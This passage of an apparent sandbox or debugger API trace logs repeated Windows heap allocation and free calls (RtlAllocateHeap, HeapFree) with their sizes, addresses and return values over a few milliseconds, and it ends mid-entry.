[0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.676] 